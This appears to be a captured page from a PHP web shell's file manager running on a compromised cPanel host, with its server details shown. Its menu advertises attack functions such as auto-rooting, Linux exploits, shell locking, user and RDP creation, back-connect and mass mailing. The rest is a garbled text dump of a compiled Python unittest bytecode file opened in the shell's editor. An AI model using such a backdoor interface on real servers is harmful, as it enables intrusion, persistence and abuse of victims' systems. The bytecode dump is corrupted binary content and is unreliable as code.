Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.70.100.160
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3.10 /
unittest /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.cpython-310.pyc
3.32
KB
-rw-r--r--
__main__.cpython-310.pyc
402
B
-rw-r--r--
_log.cpython-310.pyc
2.63
KB
-rw-r--r--
async_case.cpython-310.pyc
4.63
KB
-rw-r--r--
case.cpython-310.pyc
47.35
KB
-rw-r--r--
loader.cpython-310.pyc
14.09
KB
-rw-r--r--
main.cpython-310.pyc
7.38
KB
-rw-r--r--
mock.cpython-310.pyc
77.94
KB
-rw-r--r--
result.cpython-310.pyc
7.85
KB
-rw-r--r--
runner.cpython-310.pyc
6.79
KB
-rw-r--r--
signals.cpython-310.pyc
2.2
KB
-rw-r--r--
suite.cpython-310.pyc
10.03
KB
-rw-r--r--
util.cpython-310.pyc
4.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : main.cpython-310.pyc
o }�5h�+ � @ st d Z ddlZddlZddlZddlmZmZ ddlmZ dZ dZ dZd d � Zdd� Z d d� ZG dd� de�ZeZdS )zUnittest main program� N� )�loader�runner)�installHandlerTa Examples: %(prog)s test_module - run tests from test_module %(prog)s module.TestClass - run tests from module.TestClass %(prog)s module.Class.test_method - run specified test method %(prog)s path/to/test_file.py - run tests from test_file.py aF Examples: %(prog)s - run default set of tests %(prog)s MyTestSuite - run suite 'MyTestSuite' %(prog)s MyTestCase.testSomething - run MyTestCase.testSomething %(prog)s MyTestCase - run all 'test*' test methods in MyTestCase c C s� t j�| �r>| �� �d�r>t j�| �r,t j�| t �� �}t j�|�s(|�t j �r*| S |} t j� | �d d� �dd��dd�S | S )Nz.py����\�.�/)�os�path�isfile�lower�endswith�isabs�relpath�getcwd� startswith�pardir�normpath�replace)�name�rel_path� r �$/usr/lib/python3.10/unittest/main.py� _convert_name s $r c C s dd� | D �S )Nc S s g | ]}t |��qS r )r )�.0r r r r � <listcomp>. s z"_convert_names.<locals>.<listcomp>r )�namesr r r �_convert_names- s r c C s d| vrd| } | S )N�*z*%s*r )�patternr r r �_convert_select_pattern1 s r! c @ s� e Zd ZdZdZdZd Z Z Z Z Z ZdZdddde jddddddfdd�dd �Zdd d�Zdd � Zdd� Zddd�Zdd� Zdd� Zdd� Zdd� Zddd�Zdd� ZdS ) �TestProgramzA command-line program that runs a set of tests; this is primarily for making test modules conveniently executable. Nr �__main__TF)� tb_localsc C s� t |t�rt|�| _|�d�dd � D ] } t| j| �| _qn|| _|d u r(tj}|| _|| _ | | _ || _| | _|| _ |d u rEtjsEd| _n|| _|| _|| _|| _tj�|d �| _| �|� | �� d S )Nr r �defaultr )� isinstance�str� __import__�module�split�getattr�sys�argv�exit�failfast� catchbreak� verbosity�bufferr$ �warnoptions�warnings�defaultTest� testRunner� testLoaderr r �basename�progName� parseArgs�runTests)�selfr) r5 r- r6 r7 r. r1 r/ r0 r2 r4 r$ �partr r r �__init__A s. � zTestProgram.__init__c C s4 |rt |� | jd u r| �� | �� t�d� d S )N� )�print�_discovery_parser�_initArgParsers�_print_helpr, r. )r<